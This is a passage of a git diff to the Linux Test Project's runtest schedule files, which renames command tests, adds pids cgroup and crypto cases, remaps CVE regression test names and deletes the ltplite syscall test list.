-mkfs01_minix mkfs01.sh -f minix
-mkfs01_msdos mkfs01.sh -f msdos
-mkfs01_vfat mkfs01.sh -f vfat
-mkfs01_ntfs mkfs01.sh -f ntfs
-mkswap01 mkswap01.sh
-which01 which01.sh
-lsmod01 lsmod01.sh
-insmod01 insmod01.sh
-wc01 wc01.sh
-keyctl01 keyctl01.sh
-gdb01 gdb01.sh
-unshare01 unshare01.sh
+ar_sh export TCdat=$LTPROOT/testcases/bin; ar01
+ld01_sh ld01
+ldd01_sh ldd01
+nm01_sh nm01
+file01_sh file01.sh
+tar01_sh  tar_tests.sh
+logrotate_sh export TCdat=$LTPROOT/testcases/bin; logrotate_tests.sh
+cpio01_sh cpio_tests.sh
+unzip01_sh unzip01.sh
+gzip01_sh gzip_tests.sh
+cp01_sh cp_tests.sh
+ln01_sh ln_tests.sh
+mkdir01_sh mkdir_tests.sh
+mv01_sh mv_tests.sh
+du01_sh du01.sh
+df01_ext2_sh df01.sh -f ext2
+df01_ext3_sh df01.sh -f ext3
+df01_ext4_sh df01.sh -f ext4
+df01_xfs_sh df01.sh -f xfs
+df01_vfat_sh df01.sh -f vfat
+df01_exfat_sh df01.sh -f exfat
+df01_ntfs_sh df01.sh -f ntfs
+mkfs01_sh mkfs01.sh
+mkfs01_ext2_sh mkfs01.sh -f ext2
+mkfs01_ext3_sh mkfs01.sh -f ext3
+mkfs01_ext4_sh mkfs01.sh -f ext4
+mkfs01_xfs_sh mkfs01.sh -f xfs
+mkfs01_btrfs_sh mkfs01.sh -f btrfs
+mkfs01_minix_sh mkfs01.sh -f minix
+mkfs01_msdos_sh mkfs01.sh -f msdos
+mkfs01_vfat_sh mkfs01.sh -f vfat
+mkfs01_ntfs_sh mkfs01.sh -f ntfs
+mkswap01_sh mkswap01.sh
+which01_sh which01.sh
+lsmod01_sh lsmod01.sh
+insmod01_sh insmod01.sh
+wc01_sh wc01.sh
+keyctl01_sh keyctl01.sh
+gdb01_sh gdb01.sh
+unshare01_sh unshare01.sh
+sysctl01_sh sysctl01.sh
diff --git a/runtest/controllers b/runtest/controllers
index 2c43d0b..e3d0243 100644
--- a/runtest/controllers
+++ b/runtest/controllers
@@ -354,24 +354,42 @@
 
 cgroup_xattr	cgroup_xattr
 
-pids_1_1 pids.sh 1 1
-pids_1_2 pids.sh 1 2
-pids_1_10 pids.sh 1 10
-pids_1_50 pids.sh 1 50
-pids_1_100 pids.sh 1 100
-pids_2_1 pids.sh 2 1
-pids_2_2 pids.sh 2 2
-pids_2_10 pids.sh 2 10
-pids_2_50 pids.sh 2 50
-pids_2_100 pids.sh 2 100
-pids_3_0 pids.sh 3 0
-pids_3_1 pids.sh 3 1
-pids_3_10 pids.sh 3 10
-pids_3_50 pids.sh 3 50
-pids_3_100 pids.sh 3 100
-pids_4_1 pids.sh 4 1
-pids_4_2 pids.sh 4 2
-pids_4_10 pids.sh 4 10
-pids_4_50 pids.sh 4 50
-pids_4_100 pids.sh 4 100
-pids_5_1 pids.sh 5 1
+pids_1_1 pids.sh 1 1 0
+pids_1_2 pids.sh 1 2 0
+pids_1_10 pids.sh 1 10 0
+pids_1_50 pids.sh 1 50 0
+pids_1_100 pids.sh 1 100 0
+pids_2_1 pids.sh 2 1 0
+pids_2_2 pids.sh 2 2 0
+pids_2_10 pids.sh 2 10 0
+pids_2_50 pids.sh 2 50 0
+pids_2_100 pids.sh 2 100 0
+pids_3_0 pids.sh 3 0 0
+pids_3_1 pids.sh 3 1 0
+pids_3_10 pids.sh 3 10 0
+pids_3_50 pids.sh 3 50 0
+pids_3_100 pids.sh 3 100 0
+pids_4_1 pids.sh 4 1 0
+pids_4_2 pids.sh 4 2 0
+pids_4_10 pids.sh 4 10 0
+pids_4_50 pids.sh 4 50 0
+pids_4_100 pids.sh 4 100 0
+pids_5_1 pids.sh 5 1 0
+pids_6_1 pids.sh 6 1 0
+pids_6_2 pids.sh 6 2 0
+pids_6_10 pids.sh 6 10 0
+pids_6_50 pids.sh 6 50 0
+pids_6_100 pids.sh 6 100 0
+pids_7_10 pids.sh 7 10 5
+pids_7_50 pids.sh 7 50 10
+pids_7_100 pids.sh 7 100 10
+pids_7_500 pids.sh 7 500 50
+pids_7_1000 pids.sh 7 1000 100
+pids_8_2 pids.sh 8 2 0
+pids_8_10 pids.sh 8 10 0
+pids_8_50 pids.sh 8 50 0
+pids_8_100 pids.sh 8 100 0
+pids_9_2 pids.sh 9 2 0
+pids_9_10 pids.sh 9 10 0
+pids_9_50 pids.sh 9 50 0
+pids_9_100 pids.sh 9 100 0
diff --git a/runtest/crypto b/runtest/crypto
new file mode 100644
index 0000000..cdbc44c
--- /dev/null
+++ b/runtest/crypto
@@ -0,0 +1,2 @@
+pcrypt_aead01 pcrypt_aead01
+crypto_user01 crypto_user01
diff --git a/runtest/cve b/runtest/cve
index 5d12408..8f38045 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -2,12 +2,13 @@
 cve-2011-0999 thp01 -I 120
 cve-2011-2183 ksm05 -I 10
 cve-2011-2496 vma03
-cve-2012-0957 cve-2012-0957
+cve-2012-0957 uname04
 cve-2014-0196 cve-2014-0196
 cve-2015-0235 gethostbyname_r01
 cve-2015-7550 keyctl02
 cve-2016-4470 keyctl01.sh
-cve-2016-4997 cve-2016-4997
+cve-2015-3290 cve-2015-3290
+cve-2016-4997 setsockopt03
 cve-2016-5195 dirtyc0w
 cve-2016-7042 cve-2016-7042
 cve-2016-7117 cve-2016-7117
@@ -15,8 +16,8 @@
 cve-2016-10044 cve-2016-10044
 cve-2017-2618 cve-2017-2618
 cve-2017-2671 cve-2017-2671
-cve-2017-5669 cve-2017-5669
-cve-2017-6951 cve-2017-6951
+cve-2017-5669 shmat03
+cve-2017-6951 request_key05
 cve-2017-7308 setsockopt02
 cve-2017-7472 keyctl04
 cve-2017-12192 keyctl07
@@ -24,6 +25,15 @@
 cve-2017-15274 add_key02
 cve-2017-15299 request_key03 -b cve-2017-15299
 cve-2017-15537 ptrace07
+cve-2017-15649 fanout01
 cve-2017-15951 request_key03 -b cve-2017-15951
+cve-2017-17807 request_key04
 cve-2017-1000364 stack_clash
 cve-2017-5754 meltdown
+cve-2017-17052 cve-2017-17052
+cve-2017-16939 cve-2017-16939
+cve-2017-17053 cve-2017-17053
+cve-2017-18075 pcrypt_aead01
+cve-2018-5803 sctp_big_chunk
+cve-2018-1000001 realpath01
+cve-2018-19854 crypto_user01
diff --git a/runtest/fs b/runtest/fs
index 3fa210a..aca7e35 100644
--- a/runtest/fs
+++ b/runtest/fs
@@ -69,6 +69,10 @@
 # Was not sure why it should reside in runtest/crashme and won´t get tested ever
 proc01 proc01 -m 128
 
+read_all_dev read_all -d /dev -p -q -r 10
+read_all_proc read_all -d /proc -q -r 10
+read_all_sys read_all -d /sys -q -r 10 -e /sys/power/wakeup_count
+
 #Run the File System Race Condition Check tests as well
 fs_racer fs_racer.sh -t 5
 
diff --git a/runtest/hyperthreading b/runtest/hyperthreading
index a0a2e23..8c89cd4 100644
--- a/runtest/hyperthreading
+++ b/runtest/hyperthreading
@@ -1,5 +1,4 @@
 #DESCRIPTION:Hyperthreading stress tests
 smt_smp_enabled smt_smp_enabled.sh
 smt_smp_affinity smt_smp_affinity.sh
-ht_interrupt ht_interrupt
 
diff --git a/runtest/ima b/runtest/ima
index 251458a..bcae16b 100644
--- a/runtest/ima
+++ b/runtest/ima
@@ -1,5 +1,5 @@
 #DESCRIPTION:Integrity Measurement Architecture (IMA)
-ima01   ima_measurements.sh
-ima02   ima_policy.sh
-ima03   ima_tpm.sh
-ima04   ima_violations.sh
+ima_measurements ima_measurements.sh
+ima_policy ima_policy.sh
+ima_tpm ima_tpm.sh
+ima_violations ima_violations.sh
diff --git a/runtest/io b/runtest/io
index 00032ff..cd51cce 100644
--- a/runtest/io
+++ b/runtest/io
@@ -1,3 +1,3 @@
 #AIO01 & AIO02 tests to be run
 aio01 aio01
-aio02 aio_tio
+aio02 aio02
diff --git a/runtest/ltplite b/runtest/ltplite
deleted file mode 100644
index 5418495..0000000
--- a/runtest/ltplite
+++ /dev/null
@@ -1,1120 +0,0 @@
-#DESCRIPTION:Math library tests - CPU tests
-abs01 abs01
-
-atof01 atof01
-
-float_bessel cd $LTPROOT/testcases/bin; float_bessel -v
-float_exp_log cd $LTPROOT/testcases/bin; float_exp_log -v
-float_iperb cd $LTPROOT/testcases/bin; float_iperb -v
-float_power cd $LTPROOT/testcases/bin; float_power -v
-float_trigo cd $LTPROOT/testcases/bin; float_trigo -v
-
-fptest01 fptest01
-fptest02 fptest02
-
-nextafter01 nextafter01
-
-#DESCRIPTION:fsx filesystem stress tests
-fsx-linux export TCbin=$LTPROOT/testcases/bin;fsxtest02 10000
-#fsx-ext2 fsxtest $SCRATCHDEV ext2 10000
-#fsx-ext3 fsxtest $SCRATCHDEV ext3 10000
-#fsx-jfs fsxtest $SCRATCHDEV jfs 10000
-#fsx-xfs  fsxtest $SCRATCHDEV xfs 10000
-#fsx-reiserfs fsxtest $SCRATCHDEV reiserfs 10000
-
-#DESCRIPTION:Interprocess communication stress
-# These tests use tests/pipeio to put pipes (named or unnamed) through a workout
-#
-pipeio_1 pipeio -T pipeio_1 -c 5 -s 4090 -i 100 -b -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to a named pipe
-# using blocking I/O
-#pipeio_2 pipeio -T pipeio_2 -c 5 -s 4090 -i 100 -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to a named pipe
-# using non-blocking I/O
-# This test hits EAGAIN, which pipeio doesn't handle at the moment
-pipeio_3 pipeio -T pipeio_3 -c 5 -s 4090 -i 100 -u -b -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to an unnamed pipe
-# using blocking I/O
-pipeio_4 pipeio -T pipeio_4 -c 5 -s 4090 -i 100 -u -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to an unnamed pipe
-# using non-blocking I/O
-pipeio_5 pipeio -T pipeio_5 -c 5 -s 5000 -i 10 -b -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to a named pipe
-# using blocking I/O
-pipeio_6 pipeio -T pipeio_6 -c 5 -s 5000 -i 10 -b -u -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to an unnamed pipe
-# using blocking I/O
-#pipeio_7 pipeio -T pipeio_7 -c 5 -s 5000 -i 10 -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to a named pipe
-# using non-blocking I/O
-# This test hits EAGAIN, which pipeio doesn't handle at the moment
-pipeio_8 pipeio -T pipeio_8 -c 5 -s 5000 -i 10 -u -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to an unnamed pipe
-# using non-blocking I/O
-
-sem01 sem01
-sem02 sem02
-
-
-#DESCRIPTION:Kernel system calls
-abort01 abort01
-
-accept01 accept01
-
-access01 access01
-access02 access02
-access03 access03
-access04 access04
-
-acct01 acct01
-
-adjtimex01 adjtimex01
-adjtimex02 adjtimex02
-
-alarm01 alarm01
-alarm02 alarm02
-alarm03 alarm03
-alarm05 alarm05
-alarm06 alarm06
-alarm07 alarm07
-
-asyncio02 asyncio02
-
-bind01 bind01
-bind02 bind02
-
-brk01 brk01
-
-capget01 capget01
-capget02 capget02
-
-capset01 capset01
-capset02 capset02
-
-chdir01 chdir01
-chdir01A symlink01 -T chdir01
-chdir02 chdir02
-chdir03 chdir03
-chdir04 chdir04
-
-chmod01 chmod01
-chmod01A symlink01 -T chmod01
-chmod02 chmod02
-chmod03 chmod03
-chmod04 chmod04
-chmod05 chmod05
-chmod06 chmod06
-chmod07 chmod07
-
-chown01 chown01
-chown02 chown02
-chown03 chown03
-chown04 chown04
-chown05 chown05
-
-chroot01 chroot01
-chroot02 chroot02
-chroot03 chroot03
-chroot04 chroot04
-
-
-clone01 clone01
-clone02 clone02
-clone03 clone03
-clone04 clone04
-clone05 clone05
-clone06 clone06
-clone07 clone07
-clone08 clone08
-
-close01 close01
-close02 close02
-close08 close08
-
-confstr01 confstr01
-
-connect01 connect01
-
-creat01 creat01
-creat03 creat03
-creat04 creat04
-creat05 creat05
-creat06 creat06
-creat07 creat07
-creat08 creat08
-
-dup01 dup01
-dup02 dup02
-dup03 dup03
-dup04 dup04
-dup05 dup05
-dup06 dup06
-dup07 dup07
-
-dup201 dup201
-dup202 dup202
-dup203 dup203
-dup204 dup204
-dup205 dup205
-
-epoll_ctl01 epoll_ctl01
-epoll_ctl02 epoll_ctl02
-
-epoll_wait01 epoll_wait01
-epoll_wait02 epoll_wait02
-epoll_wait03 epoll_wait03
-
-epoll_pwait01 epoll_pwait01
-
-execl01 execl01
-execle01 execle01
-execlp01 execlp01
-
-execv01 execv01
-execve01 execve01
-execve02 execve02
-execve03 execve03
-execve04 execve04
-execve05 execve05 20 $LTPROOT/testcases/bin/execve05 $LTPROOT/testcases/bin/execve05 4
-execvp01 execvp01
-
-exit01 exit01
-exit02 exit02
-
-fchdir01 fchdir01
-fchdir02 fchdir02
-fchdir03 fchdir03
-
-fchmod01 fchmod01
-fchmod02 fchmod02
-fchmod03 fchmod03
-fchmod04 fchmod04
-fchmod05 fchmod05
-fchmod06 fchmod06
-fchmod07 fchmod07
-
-fchown01 fchown01
-fchown02 fchown02
-fchown03 fchown03
-fchown04 fchown04
-fchown05 fchown05
-
-fcntl01 fcntl01
-fcntl02 fcntl02
-fcntl03 fcntl03
-fcntl04 fcntl04
-fcntl05 fcntl05
-fcntl06 fcntl06
-fcntl07 fcntl07
-fcntl08 fcntl08
-fcntl09 fcntl09
-fcntl10 fcntl10
-fcntl11 fcntl11
-fcntl12 fcntl12
-fcntl13 fcntl13
-fcntl14 fcntl14
-fcntl15 fcntl15
-#fcntl16 fcntl16 #Contains errors.
-fcntl17 fcntl17
-fcntl18 fcntl18
-fcntl19 fcntl19
-fcntl20 fcntl20
-fcntl21 fcntl21
-fcntl22 fcntl22
-fcntl23 fcntl23
-fcntl24 fcntl24
-fcntl25 fcntl25
-fcntl26 fcntl26
-# The tests for these system calls  fcntl27 and fcntl28 are temporarily being disabled
-# fcntl27 fcntl27
-# fcntl28 fcntl28
-fcntl29 fcntl29
-fcntl30 fcntl30
-fcntl31 fcntl31
-fcntl32 fcntl32
-fcntl33 fcntl33
-
-fdatasync01 fdatasync01
-fdatasync02 fdatasync02
-
-flock01 flock01
-flock02 flock02
-flock03 flock03
-flock04 flock04
-flock05 flock05
-flock06 flock06
-
-fmtmsg01 fmtmsg01
-
-fork01 fork01
-fork02 fork02
-fork03 fork03
-fork04 fork04
-fork05 fork05
-fork06 fork06
-fork07 fork07
-fork08 fork08
-fork09 fork09
-fork10 fork10
-fork11 fork11
-
-fpathconf01 fpathconf01
-
-fstat01 fstat01
-fstat02 fstat02
-fstat03 fstat03
-fstat05 fstat05
-
-fstatfs01 fstatfs01
-fstatfs02 fstatfs02
-
-fsync01 fsync01
-fsync02 fsync02
-fsync03 fsync03
-
-ftruncate01 ftruncate01
-ftruncate02 ftruncate02
-ftruncate03 ftruncate03
-ftruncate04 ftruncate04
-
-getcontext01 getcontext01
-
-getcwd01 getcwd01
-getcwd02 getcwd02
-getcwd03 getcwd03
-getcwd04 getcwd04
-
-getdents01 getdents01
-getdents02 getdents02
-
-getdomainname01 getdomainname01
-
-getdtablesize01 getdtablesize01
-
-getegid01 getegid01
-
-geteuid01 geteuid01
-geteuid02 geteuid02
-
-getgid01 getgid01
-getgid03 getgid03
-
-getgroups01 getgroups01
-getgroups03 getgroups03
-
-gethostid01 gethostid01
-
-gethostname01 gethostname01
-
-getitimer01 getitimer01
-getitimer02 getitimer02
-getitimer03 getitimer03
-
-getpeername01 getpeername01
-
-getpgid01 getpgid01
-getpgid02 getpgid02
-
-getpgrp01 getpgrp01
-
-getpid01 getpid01
-getpid02 getpid02
-
-getppid01 getppid01
-getppid02 getppid02
-
-getpriority01 getpriority01
-getpriority02 getpriority02
-
-getresgid01 getresgid01
-getresgid02 getresgid02
-getresgid03 getresgid03
-
-getresuid01 getresuid01
-getresuid02 getresuid02
-getresuid03 getresuid03
-
-getrlimit01 getrlimit01
-getrlimit02 getrlimit02
-
-getrusage01 getrusage01
-getrusage02 getrusage02
-
-getsid01 getsid01
-getsid02 getsid02
-
-getsockname01 getsockname01
-
-getsockopt01 getsockopt01
-
-gettimeofday01 gettimeofday01
-gettimeofday02 gettimeofday02
-
-getuid01 getuid01
-getuid03 getuid03
-
-#Needs tty device.
-#ioctl01 ioctl01 -D /dev/tty0
-#ioctl02 ioctl02 -D /dev/tty0
-
-# Introducing ioctl tests for all /dev/tty* devices
-ioctl test_ioctl
-
-ioperm01 ioperm01
-ioperm02 ioperm02
-
-iopl01 iopl01
-iopl02 iopl02
-
-kill01 kill01
-kill02 kill02
-kill03 kill03
-kill04 kill04
-kill05 kill05
-kill06 kill06
-kill07 kill07
-kill08 kill08
-kill09 kill09
-kill10 kill10
-kill11 kill11
-kill12 kill12
-
-lchown01 lchown01
-lchown02 lchown02
-lchown03 lchown03
-
-lgetxattr01 lgetxattr01
-lgetxattr02 lgetxattr02
-
-link01 symlink01 -T link01
-link02 link02
-link03 link03
-link04 link04
-link05 link05
-link06 link06
-link07 link07
-link08 link08
-
-listen01 listen01
-
-llistxattr01 llistxattr01
-llistxattr02 llistxattr02
-llistxattr03 llistxattr03
-
-llseek01 llseek01
-llseek02 llseek02
-llseek03 llseek03
-
-lseek01 lseek01
-lseek02 lseek02
-lseek07 lseek07
-lseek11 lseek11
-
-lstat01A symlink01 -T lstat01
-lstat01 lstat01
-lstat02 lstat02
-lstat03 lstat03
-
-mallopt01 mallopt01
-
-memset01 memset01
-memcmp01 memcmp01
-memcpy01 memcpy01
-
-mlockall01 mlockall01
-mlockall02 mlockall02
-mlockall03 mlockall03
-
-mkdir01 mkdir01
-mkdir02 mkdir02
-mkdir03 mkdir03
-mkdir04 mkdir04
-mkdir05 mkdir05
-mkdir05A symlink01 -T mkdir05
-mkdir08 mkdir08
-mkdir09 mkdir09
-
-mknod01 mknod01
-mknod02 mknod02
-mknod03 mknod03
-mknod04 mknod04
-mknod05 mknod05
-mknod06 mknod06
-mknod07 mknod07
-mknod08 mknod08
-mknod09 mknod09
-
-mlock01 mlock01
-mlock02 mlock02
-
-qmm01 mmap001 -m 1
-mmap01 mmap01
-mmap02 mmap02
-mmap03 mmap03
-mmap04 mmap04
-mmap05 mmap05
-mmap06 mmap06
-mmap07 mmap07
-mmap08 mmap08
-mmap09 mmap09
-mmap16 mmap16
-
-modify_ldt01 modify_ldt01
-modify_ldt02 modify_ldt02
-modify_ldt03 modify_ldt03
-
-#
-# These tests require an unmounted block device
-# to run correctly. Please see individual test
-# code for more information.
-#
-#mount01 mount01 -D /dev/...
-#mount02 mount02 -D /dev/...
-#mount03 mount03 -D /dev/...
-#mount04 mount04 -D /dev/...
-
-mprotect01 mprotect01
-mprotect02 mprotect02
-mprotect03 mprotect03
-mprotect04 mprotect04
-
-mremap01 mremap01
-mremap02 mremap02
-mremap03 mremap03
-mremap04 mremap04
-
-msgctl01 msgctl01
-msgctl02 msgctl02
-msgctl03 msgctl03
-msgctl04 msgctl04
-msgctl05 msgctl05
-msgctl06 msgctl06
-msgctl07 msgctl07
-msgctl08 msgctl08
-msgctl09 msgctl09
-
-msgget01 msgget01
-msgget02 msgget02
-msgget03 msgget03
-
-msgrcv01 msgrcv01
-msgrcv02 msgrcv02
-msgrcv03 msgrcv03
-msgrcv04 msgrcv04
-msgrcv05 msgrcv05
-msgrcv06 msgrcv06
-msgrcv07 msgrcv07
-msgrcv08 msgrcv08
-
-msgsnd01 msgsnd01
-msgsnd02 msgsnd02
-msgsnd05 msgsnd05
-msgsnd06 msgsnd06
-
-msync01 msync01
-msync02 msync02
-msync03 msync03
-
-munlock01 munlock01
-munlock02 munlock02
-
-munlockall01 munlockall01
-munlockall02 munlockall02
-
-munmap01 munmap01
-munmap02 munmap02
-munmap03 munmap03
-
-nanosleep01 nanosleep01
-nanosleep02 nanosleep02
-nanosleep03 nanosleep03
-nanosleep04 nanosleep04
-
-nftw01 nftw01
-nftw6401 nftw6401
-
-nice01 nice01
-nice02 nice02
-nice03 nice03
-nice04 nice04
-
-open01 open01
-open01A symlink01 -T open01
-open02 open02
-open03 open03
-open04 open04
-open05 open05
-open06 open06
-open07 open07
-open08 open08
-open09 open09
-open10 open10
-open11 open11
-open12 open12
-open13 open13
-
-mincore01 mincore01
-#mincore02 mincore02 currently hangs and does not exit correctly
-madvise01 madvise01
-madvise02 madvise02
-
-pathconf01 pathconf01
-
-pause01 pause01
-pause02 pause02
-pause03 pause03
-
-personality01 personality01
-
-pipe01 pipe01
-pipe02 pipe02
-pipe03 pipe03
-pipe04 pipe04
-pipe05 pipe05
-pipe06 pipe06
-pipe07 pipe07
-pipe08 pipe08
-pipe09 pipe09
-pipe10 pipe10
-pipe11 pipe11
-
-poll01 poll01
-
-prctl01 prctl01
-prctl02 prctl02
-
-pread01 pread01
-pread02 pread02
-pread03 pread03
-
-preadv01 preadv01
-preadv02 preadv02
-
-profil01 profil01
-
-pselect01 pselect01
-pselect02 pselect02
-pselect03 pselect03
-
-ptrace01 ptrace01
-ptrace02 ptrace02
-ptrace03 ptrace03
-ptrace05 ptrace05
-
-pwrite01 pwrite01
-pwrite02 pwrite02
-pwrite04 pwrite04
-
-pwrite01_64 pwrite01_64
-pwrite02_64 pwrite02_64
-pwrite04_64 pwrite04_64
-
-pwritev01 pwritev01
-pwritev02 pwritev02
-
-read01 read01
-read02 read02
-read03 read03
-read04 read04
-
-readdir01 readdir01
-readdir02 readdir02
-readdir21 readdir21
-
-readlink01A symlink01 -T readlink01
-readlink01 readlink01
-readlink02 readlink02
-readlink03 readlink03
-readlink04 readlink04
-
-readv01 readv01
-readv02 readv02
-readv03 readv03
-
-reboot01 reboot01
-reboot02 reboot02
-
-recv01 recv01
-
-recvfrom01 recvfrom01
-
-recvmsg01 recvmsg01
-
-removexattr01 removexattr01
-removexattr02 removexattr02
-
-rename01 rename01
-rename01A symlink01 -T rename01
-rename02 rename02
-rename03 rename03
-rename04 rename04
-rename05 rename05
-rename06 rename06
-rename07 rename07
-rename08 rename08
-rename09 rename09
-rename10 rename10
-rename11 rename11
-rename12 rename12
-rename13 rename13
-rename14 rename14
-
-request_key01 request_key01
-request_key02 request_key02
-
-rmdir01 rmdir01
-rmdir02 rmdir02
-rmdir03 rmdir03
-rmdir03A symlink01 -T rmdir03
-rmdir04 rmdir04
-rmdir05 rmdir05
-
-sbrk01 sbrk01
-sbrk02 sbrk02
-sbrk03 sbrk03
-
-sched_get_priority_max01 sched_get_priority_max01
-sched_get_priority_max02 sched_get_priority_max02
-
-sched_get_priority_min01 sched_get_priority_min01
-sched_get_priority_min02 sched_get_priority_min02
-
-sched_getparam01 sched_getparam01
-sched_getparam02 sched_getparam02
-sched_getparam03 sched_getparam03
-
-sched_rr_get_interval01 sched_rr_get_interval01
-sched_rr_get_interval02 sched_rr_get_interval02
-sched_rr_get_interval03 sched_rr_get_interval03
-
-sched_setparam01 sched_setparam01
-sched_setparam02 sched_setparam02
-sched_setparam03 sched_setparam03
-sched_setparam04 sched_setparam04
-sched_setparam05 sched_setparam05
-
-sched_getscheduler01 sched_getscheduler01
-sched_getscheduler02 sched_getscheduler02
-
-sched_setscheduler01 sched_setscheduler01
-sched_setscheduler02 sched_setscheduler02
-sched_setscheduler03 sched_setscheduler03
-
-sched_yield01 sched_yield01
-
-select01 select01
-select02 select02
-select03 select03
-select04 select04
-
-semctl01 semctl01
-semctl02 semctl02
-semctl03 semctl03
-semctl04 semctl04
-semctl05 semctl05
-semctl06 semctl06
-semctl07 semctl07
-
-semget01 semget01
-semget02 semget02
-semget03 semget03
-semget05 semget05
-semget06 semget06
-
-semop01 semop01
-semop02 semop02
-semop03 semop03
-semop04 semop04
-semop05 semop05
-
-send01 send01
-
-sendfile02 sendfile02
-sendfile03 sendfile03
-
-sendmsg01 sendmsg01
-
-sendto01 sendto01
-
-setdomainname01	setdomainname01
-setdomainname02	setdomainname02
-setdomainname03	setdomainname03
-
-setfsgid01 setfsgid01
-setfsgid02 setfsgid02
-setfsgid03 setfsgid03
-
-setfsuid01 setfsuid01
-setfsuid02 setfsuid02
-setfsuid03 setfsuid03
-setfsuid04 setfsuid04
-
-setgid01 setgid01
-setgid02 setgid02
-setgid03 setgid03
-
-setegid01 setegid01
-setegid02 setegid02
-
-setgroups01 setgroups01
-setgroups02 setgroups02
-setgroups03 setgroups03
-setgroups04 setgroups04
-
-sethostname01 sethostname01
-sethostname02 sethostname02
-sethostname03 sethostname03
-
-setitimer01 setitimer01
-setitimer02 setitimer02
-setitimer03 setitimer03
-
-setpgid01 setpgid01
-setpgid02 setpgid02
-setpgid03 setpgid03
-
-setpgrp01 setpgrp01
-setpgrp02 setpgrp02
-
-setpriority01 setpriority01
-setpriority02 setpriority02
-
-setregid01 setregid01
-setregid02 setregid02
-setregid03 setregid03
-setregid04 setregid04
-
-setresgid01 setresgid01
-setresgid02 setresgid02
-setresgid03 setresgid03
-setresgid04 setresgid04
-
-setresuid01 setresuid01
-setresuid02 setresuid02
-setresuid03 setresuid03
-setresuid04 setresuid04
-setresuid05 setresuid05
-
-setreuid01 setreuid01
-setreuid02 setreuid02
-setreuid03 setreuid03
-setreuid04 setreuid04
-setreuid05 setreuid05
-setreuid06 setreuid06
-setreuid07 setreuid07
-
-setrlimit01 setrlimit01
-setrlimit02 setrlimit02
-setrlimit03 setrlimit03
-
-setsid01 setsid01
-
-setsockopt01 setsockopt01
-
-settimeofday01 settimeofday01
-settimeofday02 settimeofday02
-
-setuid01 setuid01
-setuid02 setuid02
-setuid03 setuid03
-setuid04 setuid04
-
-shmat01 shmat01
-shmat02 shmat02
-
-shmctl01 shmctl01
-shmctl02 shmctl02
-shmctl03 shmctl03
-shmctl04 shmctl04
-
-shmdt01 shmdt01
-shmdt02 shmdt02
-
-shmget01 shmget01
-shmget02 shmget02
-shmget03 shmget03
-shmget04 shmget04
-shmget05 shmget05
-
-sigaction01 sigaction01
-sigaction02 sigaction02
-
-sigaltstack01 sigaltstack01
-sigaltstack02 sigaltstack02
-
-
-sighold02 sighold02
-
-signal01 signal01
-signal02 signal02
-signal03 signal03
-signal04 signal04
-signal05 signal05
-signal06 signal06
-
-sigpending02 sigpending02
-
-sigprocmask01 sigprocmask01
-
-sigrelse01 sigrelse01
-
-sigsuspend01 sigsuspend01
-
-
-socket01 socket01
-
-socketcall01 socketcall01
-socketcall02 socketcall02
-socketcall03 socketcall03
-socketcall04 socketcall04
-
-socketpair01 socketpair01
-
-sockioctl01 sockioctl01
-
-stat01 stat01
-stat02 stat02
-stat03 stat03
-stat04 symlink01 -T stat04
-stat05 stat05
-stat06 stat06
-
-statfs01 statfs01
-statfs02 statfs02
-statfs03 statfs03
-
-statvfs01 statvfs01
-statvfs02 statvfs02
-
-# This syscall is obsoleted by settimeofday.
-#stime01 stime01
-#stime02 stime02
-
-string01 string01
-
-swapoff01 swapoff01
-swapoff02 swapoff02
-
-swapon01 swapon01
-swapon02 swapon02
-swapon03 swapon03
-
-symlink01 symlink01
-symlink02 symlink02
-symlink03 symlink03
-symlink04 symlink04
-symlink05 symlink05
-
-sync01 sync01
-sync02 sync02
-
-syscall01 syscall01
-
-sysconf01 sysconf01
-
-sysctl01 sysctl01
-sysctl03 sysctl03
-sysctl04 sysctl04
-sysctl05 sysctl05
-
-sysfs01 sysfs01
-sysfs02 sysfs02
-sysfs03 sysfs03
-sysfs04 sysfs04
-sysfs05 sysfs05
-sysfs06 sysfs06
-
-sysinfo01 sysinfo01
-sysinfo02 sysinfo02
-
-syslog01 syslog01
-syslog02 syslog02
-syslog03 syslog03
-syslog04 syslog04
-syslog05 syslog05
-syslog06 syslog06
-syslog07 syslog07
-syslog08 syslog08
-syslog09 syslog09
-syslog10 syslog10
-syslog11 syslog11
-syslog12 syslog12
-
-# This syscall is obsoleted by gettimeofday.
-# time01 time01
-# time02 time02
-
-times01 times01
-times03 times03
-
-truncate01 truncate01
-truncate02 truncate02
-truncate03 truncate03
-
-# This syscall is obsolete.  The latest glibc does not even
-# include the ulimit.h file anymore.  The test will fail
-# because the error handling has been simplified.
-#
-# ulimit01 ulimit01
-
-umask01 umask01
-
-uname01 uname01
-uname02 uname02
-uname03 uname03
-
-unlink01 symlink01 -T unlink01
-unlink05 unlink05
-unlink06 unlink06
-unlink07 unlink07
-unlink08 unlink08
-
-#
-# These tests require an unmounted block device
-# to run correctly. Please see individual test
-# code for more information.
-#
-#umount01 umount01 -D /dev/...
-#umount02 umount02 -D /dev/...
-#umount03 umount03 -D /dev/...
-
-umount2_01 umount2_01
-umount2_02 umount2_02
-umount2_03 umount2_03
-
-ustat01 ustat01
-ustat02 ustat02
-
-utime01 utime01
-utime01A symlink01 -T utime01
-utime02 utime02
-utime03 utime03
-utime04 utime04
-utime05 utime05
-utime06 utime06
-
-vfork01 vfork01
-vfork02 vfork02
-
-vhangup01 vhangup01
-vhangup02 vhangup02
-
-wait01 wait01
-wait02 wait02
-
-wait401 wait401
-wait402 wait402
-
-waitpid01 waitpid01
-waitpid02 waitpid02
-waitpid03 waitpid03
-waitpid04 waitpid04
-waitpid05 waitpid05
-waitpid06 waitpid06
-waitpid07 waitpid07
-waitpid08 waitpid08
-waitpid09 waitpid09
-waitpid10 waitpid10
-waitpid11 waitpid11
-waitpid12 waitpid12
-waitpid13 waitpid13
-
-write01 write01
-write03 write03
-write04 write04
-write05 write05
-
-writev01 writev01
-writev02 writev02
-writev05 writev05
-writev06 writev06
-writev07 writev07
-
-#DESCRIPTION:Memory Mgmt tests
-mm01 mmap001 -m 10000
-# 40 Mb mmap() test.
-# Creates a 10000 page mmap, touches all of the map, sync's it, and
-# munmap()s it.
